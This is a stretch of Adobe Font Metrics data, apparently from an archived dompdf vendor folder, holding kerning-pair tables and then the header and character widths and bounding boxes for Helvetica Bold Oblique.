KPX parenright R -112
KPX parenright cent -139
KPX parenright sterling -139
KPX parenright currency -139
KPX parenright yen -139
KPX parenright brokenbar -139
KPX parenright section -139
KPX parenright dieresis -139
KPX parenright ordfeminine -112
KPX parenright guillemotleft -112
KPX parenright logicalnot -112
KPX parenright sfthyphen -112
KPX parenright acute -112
KPX parenright mu -112
KPX parenright paragraph -112
KPX parenright periodcentered -112
KPX parenright cedilla -112
KPX parenright ordmasculine -112
KPX parenright Acircumflex -178
KPX parenright Atilde -139
KPX parenright Adieresis -178
KPX parenright Aring -139
KPX parenright AE -178
KPX parenright Ccedilla -139
KPX parenright Otilde -112
KPX parenright multiply -112
KPX parenright Ugrave -112
KPX parenright Ucircumflex -112
KPX parenright Yacute -112
KPX parenright dcaron -112
KPX parenright dmacron -112
KPX parenright emacron -112
KPX parenright ebreve -112
KPX parenright uni01A5 -139
KPX parenright uni01AD -112
KPX parenright Uhorn -112
KPX parenright uni01F1 -112

KPX asterisk less -36
KPX asterisk lacute -36


KPX period dollar -83
KPX period ampersand -55
KPX period two -55
KPX period eight -73
KPX period colon -73
KPX period less -55
KPX period H -55
KPX period R -55
KPX period X -45
KPX period backslash -131
KPX period ordfeminine -55
KPX period guillemotleft -55
KPX period logicalnot -55
KPX period sfthyphen -55
KPX period acute -55
KPX period mu -55
KPX period paragraph -55
KPX period periodcentered -55
KPX period cedilla -55
KPX period ordmasculine -36
KPX period guillemotright -45
KPX period onequarter -45
KPX period onehalf -45
KPX period threequarters -45
KPX period questiondown -131
KPX period Aacute -131
KPX period Egrave -55
KPX period Icircumflex -55
KPX period Yacute -55
KPX period Ebreve -55
KPX period ebreve -55
KPX period Idot -73
KPX period dotlessi -45
KPX period lacute -55

KPX slash seven -167
KPX slash eight -112
KPX slash nine -243
KPX slash colon -178
KPX slash less -131
KPX slash backslash -36
KPX slash questiondown -36
KPX slash Aacute -36
KPX slash Hbar -167
KPX slash Idot -112
KPX slash lacute -131


KPX two nine -36
KPX two semicolon -36

KPX three dollar -188
KPX three eight -36
KPX three D -92
KPX three H -92
KPX three R -83
KPX three V -55
KPX three cent -92
KPX three sterling -92
KPX three currency -92
KPX three yen -92
KPX three brokenbar -92
KPX three section -92
KPX three dieresis -92
KPX three ordfeminine -92
KPX three guillemotleft -92
KPX three logicalnot -92
KPX three sfthyphen -92
KPX three acute -83
KPX three mu -83
KPX three paragraph -83
KPX three periodcentered -83
KPX three cedilla -83
KPX three ordmasculine -83
KPX three Yacute -92
KPX three ebreve -83
KPX three gdotaccent -55
KPX three gcommaaccent -55
KPX three Idot -36


KPX five seven -36
KPX five nine -73
KPX five colon -45
KPX five less -63
KPX five D 47
KPX five backslash -36
KPX five cent 47
KPX five sterling 47
KPX five currency 47
KPX five yen 47
KPX five brokenbar 47
KPX five section 47
KPX five dieresis 47
KPX five ordmasculine 38
KPX five questiondown -36
KPX five Aacute -36
KPX five Hbar -36
KPX five lacute -63

KPX six six -36
KPX six Gdotaccent -36
KPX six Gcommaaccent -36

KPX seven dollar -112
KPX seven seven 38
KPX seven D -159
KPX seven F -159
KPX seven H -159
KPX seven R -159
KPX seven V -149
KPX seven Z -73
KPX seven cent -59
KPX seven sterling -159
KPX seven currency -59
KPX seven yen -59
KPX seven brokenbar -59
KPX seven section -59
KPX seven dieresis -159
KPX seven copyright -159
KPX seven ordfeminine -99
KPX seven guillemotleft -159
KPX seven logicalnot -99
KPX seven sfthyphen -99
KPX seven acute -79
KPX seven mu -159
KPX seven paragraph -79
KPX seven periodcentered -79
KPX seven cedilla -79
KPX seven ordmasculine -159
KPX seven Eacute -159
KPX seven Idieresis -159
KPX seven Yacute -159
KPX seven ebreve -159
KPX seven gdotaccent -149
KPX seven gcommaaccent -149
KPX seven Hbar 38

KPX eight dollar -63
KPX eight hyphen -55

KPX nine dollar -139
KPX nine two -36
KPX nine D -188
KPX nine H -188
KPX nine L -36
KPX nine R -188
KPX nine X -131
KPX nine backslash -83
KPX nine cent -188
KPX nine sterling -188
KPX nine currency -188
KPX nine yen -188
KPX nine brokenbar -188
KPX nine section -188
KPX nine dieresis -188
KPX nine ordfeminine -188
KPX nine guillemotleft -188
KPX nine logicalnot -188
KPX nine sfthyphen -188
KPX nine acute -188
KPX nine mu -188
KPX nine paragraph -188
KPX nine periodcentered -188
KPX nine cedilla -188
KPX nine ordmasculine -188
KPX nine guillemotright -131
KPX nine onequarter -131
KPX nine onehalf -131
KPX nine threequarters -131
KPX nine questiondown -83
KPX nine Aacute -83
KPX nine Yacute -188
KPX nine Ebreve -36
KPX nine ebreve -188
KPX nine dotlessi -131

KPX colon dollar -102
KPX colon D -178
KPX colon H -167
KPX colon L -36
KPX colon R -139
KPX colon U -92
KPX colon X -83
KPX colon backslash -45
KPX colon cent -178
KPX colon sterling -178
KPX colon currency -178
KPX colon yen -178
KPX colon brokenbar -178
KPX colon section -178
KPX colon dieresis -139
KPX colon ordfeminine -167
KPX colon guillemotleft -167
KPX colon logicalnot -167
KPX colon sfthyphen -167
KPX colon acute -139
KPX colon mu -139
KPX colon paragraph -139
KPX colon periodcentered -139
KPX colon cedilla -139
KPX colon ordmasculine -139
KPX colon guillemotright -83
KPX colon onequarter -83
KPX colon onehalf -83
KPX colon threequarters -83
KPX colon questiondown -45
KPX colon Aacute -45
KPX colon Yacute -167
KPX colon ebreve -139
KPX colon edotaccent -92
KPX colon ecaron -92
KPX colon dotlessi -83

KPX semicolon dollar -73
KPX semicolon ampersand -36
KPX semicolon two -36
KPX semicolon Egrave -36
KPX semicolon Icircumflex -36
KPX semicolon Ebreve -36

KPX less dollar -159
KPX less ampersand -36
KPX less D -159
KPX less H -178
KPX less L -36
KPX less R -178
KPX less X -178
KPX less cent -159
KPX less sterling -159
KPX less currency -159
KPX less yen -159
KPX less brokenbar -159
KPX less section -159
KPX less dieresis -196
KPX less ordfeminine -178
KPX less guillemotleft -178
KPX less logicalnot -178
KPX less sfthyphen -178
KPX less acute -178
KPX less mu -178
KPX less paragraph -178
KPX less periodcentered -178
KPX less cedilla -178
KPX less ordmasculine -178
KPX less guillemotright -178
KPX less onequarter -178
KPX less onehalf -178
KPX less threequarters -178
KPX less Egrave -36
KPX less Icircumflex -36
KPX less Yacute -178
KPX less ebreve -215
KPX less dotlessi -178





















KPX Acircumflex seven -112
KPX Acircumflex nine -102
KPX Acircumflex colon -83
KPX Acircumflex less -83
KPX Acircumflex I -36
KPX Acircumflex W -36
KPX Acircumflex Y -83
KPX Acircumflex Z -92
KPX Acircumflex backslash -83
KPX Acircumflex questiondown -83
KPX Acircumflex Aacute -83
KPX Acircumflex Hcircumflex -112
KPX Acircumflex hcircumflex -36
KPX Acircumflex Hbar -112
KPX Acircumflex hbar -36
KPX Acircumflex Kcommaaccent -83
KPX Acircumflex kcommaaccent -92
KPX Acircumflex kgreenlandic -83
KPX Acircumflex Lacute -83
KPX Acircumflex lacute -83
KPX Acircumflex uni01DC -112
KPX Acircumflex uni01DD -36
KPX Acircumflex uni01F4 -83

KPX Adieresis seven -112
KPX Adieresis nine -102
KPX Adieresis colon -83
KPX Adieresis less -83
KPX Adieresis I -36
KPX Adieresis W -36
KPX Adieresis Y -83
KPX Adieresis Z -92
KPX Adieresis backslash -83
KPX Adieresis questiondown -83
KPX Adieresis Aacute -83
KPX Adieresis Hcircumflex -112
KPX Adieresis hcircumflex -36
KPX Adieresis Hbar -112
KPX Adieresis hbar -36
KPX Adieresis Kcommaaccent -83
KPX Adieresis kcommaaccent -92
KPX Adieresis kgreenlandic -83
KPX Adieresis Lacute -83
KPX Adieresis lacute -83
KPX Adieresis uni01DC -112
KPX Adieresis uni01DD -36
KPX Adieresis uni01F4 -83

KPX AE seven -112
KPX AE nine -102
KPX AE colon -83
KPX AE less -83
KPX AE I -36
KPX AE W -36
KPX AE Y -83
KPX AE Z -92
KPX AE backslash -83
KPX AE questiondown -83
KPX AE Aacute -83
KPX AE Hcircumflex -112
KPX AE hcircumflex -36
KPX AE Hbar -112
KPX AE hbar -36
KPX AE Kcommaaccent -83
KPX AE kcommaaccent -92
KPX AE kgreenlandic -83
KPX AE Lacute -83
KPX AE lacute -83
KPX AE uni01DC -112
KPX AE uni01DD -36
KPX AE uni01F4 -83





KPX Eth nine -36

KPX Ograve nine -36


KPX agrave less -36
KPX agrave lacute -36

KPX ucircumflex seven -167
KPX ucircumflex eight -112
KPX ucircumflex nine -243
KPX ucircumflex colon -178
KPX ucircumflex less -131
KPX ucircumflex backslash -36
KPX ucircumflex questiondown -36
KPX ucircumflex Aacute -36
KPX ucircumflex Hbar -167
KPX ucircumflex Idot -112
KPX ucircumflex lacute -131

KPX ydieresis seven -167
KPX ydieresis eight -112
KPX ydieresis nine -243
KPX ydieresis colon -178
KPX ydieresis less -131
KPX ydieresis backslash -36
KPX ydieresis questiondown -36
KPX ydieresis Aacute -36
KPX ydieresis Hbar -167
KPX ydieresis Idot -112
KPX ydieresis lacute -131

KPX Abreve O -227

KPX abreve seven -167
KPX abreve eight -36
KPX abreve nine -243
KPX abreve colon -178
KPX abreve less -206
KPX abreve backslash -36
KPX abreve questiondown -36
KPX abreve Aacute -36
KPX abreve Hbar -167
KPX abreve Idot -36
KPX abreve lacute -206



KPX Edotaccent seven -36
KPX Edotaccent nine -73
KPX Edotaccent colon -45
KPX Edotaccent less -63
KPX Edotaccent D 47
KPX Edotaccent backslash -36
KPX Edotaccent cent 47
KPX Edotaccent sterling 47
KPX Edotaccent currency 47
KPX Edotaccent yen 47
KPX Edotaccent brokenbar 47
KPX Edotaccent section 47
KPX Edotaccent dieresis 47
KPX Edotaccent ordmasculine 38
KPX Edotaccent questiondown -36
KPX Edotaccent Aacute -36
KPX Edotaccent Hbar -36
KPX Edotaccent lacute -63


KPX Ecaron seven -36
KPX Ecaron nine -73
KPX Ecaron colon -45
KPX Ecaron less -63
KPX Ecaron D 47
KPX Ecaron backslash -36
KPX Ecaron cent 47
KPX Ecaron sterling 47
KPX Ecaron currency 47
KPX Ecaron yen 47
KPX Ecaron brokenbar 47
KPX Ecaron section 47
KPX Ecaron dieresis 47
KPX Ecaron ordmasculine 38
KPX Ecaron questiondown -36
KPX Ecaron Aacute -36
KPX Ecaron Hbar -36
KPX Ecaron lacute -63


KPX Gdotaccent six -36
KPX Gdotaccent Gdotaccent -36
KPX Gdotaccent Gcommaaccent -36

KPX Gcommaaccent six -36
KPX Gcommaaccent Gdotaccent -36
KPX Gcommaaccent Gcommaaccent -36

KPX Hbar dollar -112
KPX Hbar seven 38
KPX Hbar D -159
KPX Hbar F -159
KPX Hbar H -159
KPX Hbar R -159
KPX Hbar V -149
KPX Hbar Z -73
KPX Hbar cent -159
KPX Hbar sterling -159
KPX Hbar currency -159
KPX Hbar yen -159
KPX Hbar brokenbar -159
KPX Hbar section -159
KPX Hbar dieresis -159
KPX Hbar copyright -159
KPX Hbar ordfeminine -159
KPX Hbar guillemotleft -159
KPX Hbar logicalnot -159
KPX Hbar sfthyphen -159
KPX Hbar acute -159
KPX Hbar mu -159
KPX Hbar paragraph -159
KPX Hbar periodcentered -159
KPX Hbar cedilla -159
KPX Hbar ordmasculine -159
KPX Hbar Eacute -159
KPX Hbar Idieresis -159
KPX Hbar Yacute -159
KPX Hbar ebreve -159
KPX Hbar gdotaccent -149
KPX Hbar gcommaaccent -149
KPX Hbar Hbar 38

KPX Idot dollar -63
KPX Idot hyphen -55

KPX kcommaaccent D 110
KPX kcommaaccent F 85
KPX kcommaaccent G 97
KPX kcommaaccent H 86
KPX kcommaaccent I 220
KPX kcommaaccent J 97
KPX kcommaaccent L 220
KPX kcommaaccent M 218
KPX kcommaaccent P 125
KPX kcommaaccent Q 125
KPX kcommaaccent R 85
KPX kcommaaccent S 140
KPX kcommaaccent T 97
KPX kcommaaccent U 125
KPX kcommaaccent V 155
KPX kcommaaccent W 235
KPX kcommaaccent X 144
KPX kcommaaccent Y 205
KPX kcommaaccent Z 166
KPX kcommaaccent bracketleft 174
KPX kcommaaccent backslash 205
KPX kcommaaccent bracketright 179
KPX kcommaaccent kcommaaccent 261

KPX lacute dollar -159
KPX lacute ampersand -36
KPX lacute D -159
KPX lacute H -178
KPX lacute L -36
KPX lacute R -178
KPX lacute X -178
KPX lacute cent -159
KPX lacute sterling -159
KPX lacute currency -159
KPX lacute yen -159
KPX lacute brokenbar -159
KPX lacute section -159
KPX lacute dieresis -196
KPX lacute ordfeminine -178
KPX lacute guillemotleft -178
KPX lacute logicalnot -178
KPX lacute sfthyphen -178
KPX lacute acute -178
KPX lacute mu -178
KPX lacute paragraph -178
KPX lacute periodcentered -178
KPX lacute cedilla -178
KPX lacute ordmasculine -178
KPX lacute guillemotright -178
KPX lacute onequarter -178
KPX lacute onehalf -178
KPX lacute threequarters -178
KPX lacute Egrave -36
KPX lacute Icircumflex -36
KPX lacute Yacute -178
KPX lacute ebreve -215
KPX lacute dotlessi -178


KPX uni027D dollar -264
KPX uni027D hyphen 47
EndKernPairs
EndKernData
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/Helvetica-BoldOblique.afm000066600000215224151150443000017255 0ustar00StartFontMetrics 4.1
Comment Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated.  All Rights Reserved.
Comment Creation Date: Thu May  1 12:45:12 1997
Comment UniqueID 43053
Comment VMusage 14482 68586
FontName Helvetica-BoldOblique
FullName Helvetica Bold Oblique
FamilyName Helvetica
Weight Bold
ItalicAngle -12
IsFixedPitch false
CharacterSet ExtendedRoman
FontBBox -174 -228 1114 962
UnderlinePosition -100
UnderlineThickness 50
Version 002.000
Notice Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated.  All Rights Reserved.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries.
EncodingScheme WinAnsiEncoding
CapHeight 718
XHeight 532
Ascender 718
Descender -207
StdHW 118
StdVW 140
StartCharMetrics 317
C 32 ; WX 278 ; N space ; B 0 0 0 0 ;
C 160 ; WX 278 ; N space ; B 0 0 0 0 ;
C 33 ; WX 333 ; N exclam ; B 94 0 397 718 ;
C 34 ; WX 474 ; N quotedbl ; B 193 447 529 718 ;
C 35 ; WX 556 ; N numbersign ; B 60 0 644 698 ;
C 36 ; WX 556 ; N dollar ; B 67 -115 622 775 ;
C 37 ; WX 889 ; N percent ; B 136 -19 901 710 ;
C 38 ; WX 722 ; N ampersand ; B 89 -19 732 718 ;
C 146 ; WX 278 ; N quoteright ; B 167 445 362 718 ;
C 40 ; WX 333 ; N parenleft ; B 76 -208 470 734 ;
C 41 ; WX 333 ; N parenright ; B -25 -208 369 734 ;
C 42 ; WX 389 ; N asterisk ; B 146 387 481 718 ;
C 43 ; WX 584 ; N plus ; B 82 0 610 506 ;
C 44 ; WX 278 ; N comma ; B 28 -168 245 146 ;
C 45 ; WX 333 ; N hyphen ; B 73 215 379 345 ;
C 173 ; WX 333 ; N hyphen ; B 44 232 289 322 ;
C 46 ; WX 278 ; N period ; B 64 0 245 146 ;
C 47 ; WX 278 ; N slash ; B -37 -19 468 737 ;
C 48 ; WX 556 ; N zero ; B 86 -19 617 710 ;
C 49 ; WX 556 ; N one ; B 173 0 529 710 ;
C 50 ; WX 556 ; N two ; B 26 0 619 710 ;
C 51 ; WX 556 ; N three ; B 65 -19 608 710 ;
C 52 ; WX 556 ; N four ; B 60 0 598 710 ;
C 53 ; WX 556 ; N five ; B 64 -19 636 698 ;
C 54 ; WX 556 ; N six ; B 85 -19 619 710 ;
C 55 ; WX 556 ; N seven ; B 125 0 676 698 ;
C 56 ; WX 556 ; N eight ; B 69 -19 616 710 ;
C 57 ; WX 556 ; N nine ; B 78 -19 615 710 ;
C 58 ; WX 333 ; N colon ; B 92 0 351 512 ;
C 59 ; WX 333 ; N semicolon ; B 56 -168 351 512 ;
C 60 ; WX 584 ; N less ; B 82 -8 655 514 ;
C 61 ; WX 584 ; N equal ; B 58 87 633 419 ;
C 62 ; WX 584 ; N greater ; B 36 -8 609 514 ;
C 63 ; WX 611 ; N question ; B 165 0 671 727 ;
C 64 ; WX 975 ; N at ; B 186 -19 954 737 ;
C 65 ; WX 722 ; N A ; B 20 0 702 718 ;
C 66 ; WX 722 ; N B ; B 76 0 764 718 ;
C 67 ; WX 722 ; N C ; B 107 -19 789 737 ;
C 68 ; WX 722 ; N D ; B 76 0 777 718 ;
C 69 ; WX 667 ; N E ; B 76 0 757 718 ;
C 70 ; WX 611 ; N F ; B 76 0 740 718 ;
C 71 ; WX 778 ; N G ; B 108 -19 817 737 ;
C 72 ; WX 722 ; N H ; B 71 0 804 718 ;
C 73 ; WX 278 ; N I ; B 64 0 367 718 ;
C 74 ; WX 556 ; N J ; B 60 -18 637 718 ;
C 75 ; WX 722 ; N K ; B 87 0 858 718 ;
C 76 ; WX 611 ; N L ; B 76 0 611 718 ;
C 77 ; WX 833 ; N M ; B 69 0 918 718 ;
C 78 ; WX 722 ; N N ; B 69 0 807 718 ;
C 79 ; WX 778 ; N O ; B 107 -19 823 737 ;
C 80 ; WX 667 ; N P ; B 76 0 738 718 ;
C 81 ; WX 778 ; N Q ; B 107 -52 823 737 ;
C 82 ; WX 722 ; N R ; B 76 0 778 718 ;
C 83 ; WX 667 ; N S ; B 81 -19 718 737 ;
C 84 ; WX 611 ; N T ; B 140 0 751 718 ;
C 85 ; WX 722 ; N U ; B 116 -19 804 718 ;
C 86 ; WX 667 ; N V ; B 172 0 801 718 ;
C 87 ; WX 944 ; N W ; B 169 0 1082 718 ;
C 88 ; WX 667 ; N X ; B 14 0 791 718 ;
C 89 ; WX 667 ; N Y ; B 168 0 806 718 ;
C 90 ; WX 611 ; N Z ; B 25 0 737 718 ;
C 91 ; WX 333 ; N bracketleft ; B 21 -196 462 722 ;
C 92 ; WX 278 ; N backslash ; B 124 -19 307 737 ;
C 93 ; WX 333 ; N bracketright ; B -18 -196 423 722 ;
C 94 ; WX 584 ; N asciicircum ; B 131 323 591 698 ;
C 95 ; WX 556 ; N underscore ; B -27 -125 540 -75 ;
C 145 ; WX 278 ; N quoteleft ; B 165 454 361 727 ;
C 97 ; WX 556 ; N a ; B 55 -14 583 546 ;
C 98 ; WX 611 ; N b ; B 61 -14 645 718 ;
C 99 ; WX 556 ; N c ; B 79 -14 599 546 ;
C 100 ; WX 611 ; N d ; B 82 -14 704 718 ;
C 101 ; WX 556 ; N e ; B 70 -14 593 546 ;
C 102 ; WX 333 ; N f ; B 87 0 469 727 ; L i fi ; L l fl ;
C 103 ; WX 611 ; N g ; B 38 -217 666 546 ;
C 104 ; WX 611 ; N h ; B 65 0 629 718 ;
C 105 ; WX 278 ; N i ; B 69 0 363 725 ;
C 106 ; WX 278 ; N j ; B -42 -214 363 725 ;
C 107 ; WX 556 ; N k ; B 69 0 670 718 ;
C 108 ; WX 278 ; N l ; B 69 0 362 718 ;
C 109 ; WX 889 ; N m ; B 64 0 909 546 ;
C 110 ; WX 611 ; N n ; B 65 0 629 546 ;
C 111 ; WX 611 ; N o ; B 82 -14 643 546 ;
C 112 ; WX 611 ; N p ; B 18 -207 645 546 ;
C 113 ; WX 611 ; N q ; B 80 -207 665 546 ;
C 114 ; WX 389 ; N r ; B 64 0 489 546 ;
C 115 ; WX 556 ; N s ; B 63 -14 584 546 ;
C 116 ; WX 333 ; N t ; B 100 -6 422 676 ;
C 117 ; WX 611 ; N u ; B 98 -14 658 532 ;
C 118 ; WX 556 ; N v ; B 126 0 656 532 ;
C 119 ; WX 778 ; N w ; B 123 0 882 532 ;
C 120 ; WX 556 ; N x ; B 15 0 648 532 ;
C 121 ; WX 556 ; N y ; B 42 -214 652 532 ;
C 122 ; WX 500 ; N z ; B 20 0 583 532 ;
C 123 ; WX 389 ; N braceleft ; B 94 -196 518 722 ;
C 124 ; WX 280 ; N bar ; B 36 -225 361 775 ;
C 125 ; WX 389 ; N braceright ; B -18 -196 407 722 ;
C 126 ; WX 584 ; N asciitilde ; B 115 163 577 343 ;
C 161 ; WX 333 ; N exclamdown ; B 50 -186 353 532 ;
C 162 ; WX 556 ; N cent ; B 79 -118 599 628 ;
C 163 ; WX 556 ; N sterling ; B 50 -16 635 718 ;
C -1 ; WX 167 ; N fraction ; B -174 -19 487 710 ;
C 165 ; WX 556 ; N yen ; B 60 0 713 698 ;
C 131 ; WX 556 ; N florin ; B -50 -210 669 737 ;
C 167 ; WX 556 ; N section ; B 61 -184 598 727 ;
C 164 ; WX 556 ; N currency ; B 27 76 680 636 ;
C 39 ; WX 238 ; N quotesingle ; B 165 447 321 718 ;
C 147 ; WX 500 ; N quotedblleft ; B 160 454 588 727 ;
C 171 ; WX 556 ; N guillemotleft ; B 135 76 571 484 ;
C 139 ; WX 333 ; N guilsinglleft ; B 130 76 353 484 ;
C 155 ; WX 333 ; N guilsinglright ; B 99 76 322 484 ;
C -1 ; WX 611 ; N fi ; B 87 0 696 727 ;
C -1 ; WX 611 ; N fl ; B 87 0 695 727 ;
C 150 ; WX 556 ; N endash ; B 48 227 627 333 ;
C 134 ; WX 556 ; N dagger ; B 118 -171 626 718 ;
C 135 ; WX 556 ; N daggerdbl ; B 46 -171 628 718 ;
C 183 ; WX 278 ; N periodcentered ; B 110 172 276 334 ;
C 182 ; WX 556 ; N paragraph ; B 98 -191 688 700 ;
C 149 ; WX 350 ; N bullet ; B 83 194 420 524 ;
C 130 ; WX 278 ; N quotesinglbase ; B 41 -146 236 127 ;
C 132 ; WX 500 ; N quotedblbase ; B 36 -146 463 127 ;
C 148 ; WX 500 ; N quotedblright ; B 162 445 589 718 ;
C 187 ; WX 556 ; N guillemotright ; B 104 76 540 484 ;
C 133 ; WX 1000 ; N ellipsis ; B 92 0 939 146 ;
C 137 ; WX 1000 ; N perthousand ; B 76 -19 1038 710 ;
C 191 ; WX 611 ; N questiondown ; B 53 -195 559 532 ;
C 96 ; WX 333 ; N grave ; B 136 604 353 750 ;
C 180 ; WX 333 ; N acute ; B 236 604 515 750 ;
C 136 ; WX 333 ; N circumflex ; B 118 604 471 750 ;
C 152 ; WX 333 ; N tilde ; B 113 610 507 737 ;
C 175 ; WX 333 ; N macron ; B 122 604 483 678 ;
C -1 ; WX 333 ; N breve ; B 156 604 494 750 ;
C -1 ; WX 333 ; N dotaccent ; B 235 614 385 729 ;
C 168 ; WX 333 ; N dieresis ; B 137 614 482 729 ;
C -1 ; WX 333 ; N ring ; B 200 568 420 776 ;
C 184 ; WX 333 ; N cedilla ; B -37 -228 220 0 ;
C -1 ; WX 333 ; N hungarumlaut ; B 137 604 645 750 ;
C -1 ; WX 333 ; N ogonek ; B 41 -228 264 0 ;
C -1 ; WX 333 ; N caron ; B 149 604 502 750 ;
C 151 ; WX 1000 ; N emdash ; B 48 227 1071 333 ;
C 198 ; WX 1000 ; N AE ; B 5 0 1100 718 ;
C 170 ; WX 370 ; N ordfeminine ; B 125 401 465 737 ;
C -1 ; WX 611 ; N Lslash ; B 34 0 611 718 ;
C 216 ; WX 778 ; N Oslash ; B 35 -27 894 745 ;
C 140 ; WX 1000 ; N OE ; B 99 -19 1114 737 ;
C 186 ; WX 365 ; N ordmasculine ; B 123 401 485 737 ;
C 230 ; WX 889 ; N ae ; B 56 -14 923 546 ;
C -1 ; WX 278 ; N dotlessi ; B 69 0 322 532 ;
C -1 ; WX 278 ; N lslash ; B 40 0 407 718 ;
C 248 ; WX 611 ; N oslash ; B 22 -29 701 560 ;
C 156 ; WX 944 ; N oe ; B 82 -14 977 546 ;
C 223 ; WX 611 ; N germandbls ; B 69 -14 657 731 ;
C 207 ; WX 278 ; N Idieresis ; B 64 0 494 915 ;
C 233 ; WX 556 ; N eacute ; B 70 -14 627 750 ;
C -1 ; WX 556 ; N abreve ; B 55 -14 606 750 ;
C -1 ; WX 611 ; N uhungarumlaut ; B 98 -14 784 750 ;
C -1 ; WX 556 ; N ecaron ; B 70 -14 614 750 ;
C 159 ; WX 667 ; N Ydieresis ; B 168 0 806 915 ;
C 247 ; WX 584 ; N divide ; B 82 -42 610 548 ;
C 221 ; WX 667 ; N Yacute ; B 168 0 806 936 ;
C 194 ; WX 722 ; N Acircumflex ; B 20 0 706 936 ;
C 225 ; WX 556 ; N aacute ; B 55 -14 627 750 ;
C 219 ; WX 722 ; N Ucircumflex ; B 116 -19 804 936 ;
C 253 ; WX 556 ; N yacute ; B 42 -214 652 750 ;
C -1 ; WX 556 ; N scommaaccent ; B 63 -228 584 546 ;
C 234 ; WX 556 ; N ecircumflex ; B 70 -14 593 750 ;
C -1 ; WX 722 ; N Uring ; B 116 -19 804 962 ;
C 220 ; WX 722 ; N Udieresis ; B 116 -19 804 915 ;
C -1 ; WX 556 ; N aogonek ; B 55 -224 583 546 ;
C 218 ; WX 722 ; N Uacute ; B 116 -19 804 936 ;
C -1 ; WX 611 ; N uogonek ; B 98 -228 658 532 ;
C 203 ; WX 667 ; N Edieresis ; B 76 0 757 915 ;
C -1 ; WX 722 ; N Dcroat ; B 62 0 777 718 ;
C -1 ; WX 250 ; N commaaccent ; B 16 -228 188 -50 ;
C 169 ; WX 737 ; N copyright ; B 56 -19 835 737 ;
C -1 ; WX 667 ; N Emacron ; B 76 0 757 864 ;
C -1 ; WX 556 ; N ccaron ; B 79 -14 614 750 ;
C 229 ; WX 556 ; N aring ; B 55 -14 583 776 ;
C -1 ; WX 722 ; N Ncommaaccent ; B 69 -228 807 718 ;
C -1 ; WX 278 ; N lacute ; B 69 0 528 936 ;
C 224 ; WX 556 ; N agrave ; B 55 -14 583 750 ;
C -1 ; WX 611 ; N Tcommaaccent ; B 140 -228 751 718 ;
C -1 ; WX 722 ; N Cacute ; B 107 -19 789 936 ;
C 227 ; WX 556 ; N atilde ; B 55 -14 619 737 ;
C -1 ; WX 667 ; N Edotaccent ; B 76 0 757 915 ;
C 154 ; WX 556 ; N scaron ; B 63 -14 614 750 ;
C -1 ; WX 556 ; N scedilla ; B 63 -228 584 546 ;
C 237 ; WX 278 ; N iacute ; B 69 0 488 750 ;
C -1 ; WX 494 ; N lozenge ; B 90 0 564 745 ;
C -1 ; WX 722 ; N Rcaron ; B 76 0 778 936 ;
C -1 ; WX 778 ; N Gcommaaccent ; B 108 -228 817 737 ;
C 251 ; WX 611 ; N ucircumflex ; B 98 -14 658 750 ;
C 226 ; WX 556 ; N acircumflex ; B 55 -14 583 750 ;
C -1 ; WX 722 ; N Amacron ; B 20 0 718 864 ;
C -1 ; WX 389 ; N rcaron ; B 64 0 530 750 ;
C 231 ; WX 556 ; N ccedilla ; B 79 -228 599 546 ;
C -1 ; WX 611 ; N Zdotaccent ; B 25 0 737 915 ;
C 222 ; WX 667 ; N Thorn ; B 76 0 716 718 ;
C -1 ; WX 778 ; N Omacron ; B 107 -19 823 864 ;
C -1 ; WX 722 ; N Racute ; B 76 0 778 936 ;
C -1 ; WX 667 ; N Sacute ; B 81 -19 722 936 ;
C -1 ; WX 743 ; N dcaron ; B 82 -14 903 718 ;
C -1 ; WX 722 ; N Umacron ; B 116 -19 804 864 ;
C -1 ; WX 611 ; N uring ; B 98 -14 658 776 ;
C 179 ; WX 333 ; N threesuperior ; B 91 271 441 710 ;
C 210 ; WX 778 ; N Ograve ; B 107 -19 823 936 ;
C 192 ; WX 722 ; N Agrave ; B 20 0 702 936 ;
C -1 ; WX 722 ; N Abreve ; B 20 0 729 936 ;
C 215 ; WX 584 ; N multiply ; B 57 1 635 505 ;
C 250 ; WX 611 ; N uacute ; B 98 -14 658 750 ;
C -1 ; WX 611 ; N Tcaron ; B 140 0 751 936 ;
C -1 ; WX 494 ; N partialdiff ; B 43 -21 585 750 ;
C 255 ; WX 556 ; N ydieresis ; B 42 -214 652 729 ;
C -1 ; WX 722 ; N Nacute ; B 69 0 807 936 ;
C 238 ; WX 278 ; N icircumflex ; B 69 0 444 750 ;
C 202 ; WX 667 ; N Ecircumflex ; B 76 0 757 936 ;
C 228 ; WX 556 ; N adieresis ; B 55 -14 594 729 ;
C 235 ; WX 556 ; N edieresis ; B 70 -14 594 729 ;
C -1 ; WX 556 ; N cacute ; B 79 -14 627 750 ;
C -1 ; WX 611 ; N nacute ; B 65 0 654 750 ;
C -1 ; WX 611 ; N umacron ; B 98 -14 658 678 ;
C -1 ; WX 722 ; N Ncaron ; B 69 0 807 936 ;
C 205 ; WX 278 ; N Iacute ; B 64 0 528 936 ;
C 177 ; WX 584 ; N plusminus ; B 40 0 625 506 ;
C 166 ; WX 280 ; N brokenbar ; B 52 -150 345 700 ;
C 174 ; WX 737 ; N registered ; B 55 -19 834 737 ;
C -1 ; WX 778 ; N Gbreve ; B 108 -19 817 936 ;
C -1 ; WX 278 ; N Idotaccent ; B 64 0 397 915 ;
C -1 ; WX 600 ; N summation ; B 14 -10 670 706 ;
C 200 ; WX 667 ; N Egrave ; B 76 0 757 936 ;
C -1 ; WX 389 ; N racute ; B 64 0 543 750 ;
C -1 ; WX 611 ; N omacron ; B 82 -14 643 678 ;
C -1 ; WX 611 ; N Zacute ; B 25 0 737 936 ;
C 142 ; WX 611 ; N Zcaron ; B 25 0 737 936 ;
C -1 ; WX 549 ; N greaterequal ; B 26 0 629 704 ;
C 208 ; WX 722 ; N Eth ; B 62 0 777 718 ;
C 199 ; WX 722 ; N Ccedilla ; B 107 -228 789 737 ;
C -1 ; WX 278 ; N lcommaaccent ; B 30 -228 362 718 ;
C -1 ; WX 389 ; N tcaron ; B 100 -6 608 878 ;
C -1 ; WX 556 ; N eogonek ; B 70 -228 593 546 ;
C -1 ; WX 722 ; N Uogonek ; B 116 -228 804 718 ;
C 193 ; WX 722 ; N Aacute ; B 20 0 750 936 ;
C 196 ; WX 722 ; N Adieresis ; B 20 0 716 915 ;
C 232 ; WX 556 ; N egrave ; B 70 -14 593 750 ;
C -1 ; WX 500 ; N zacute ; B 20 0 599 750 ;
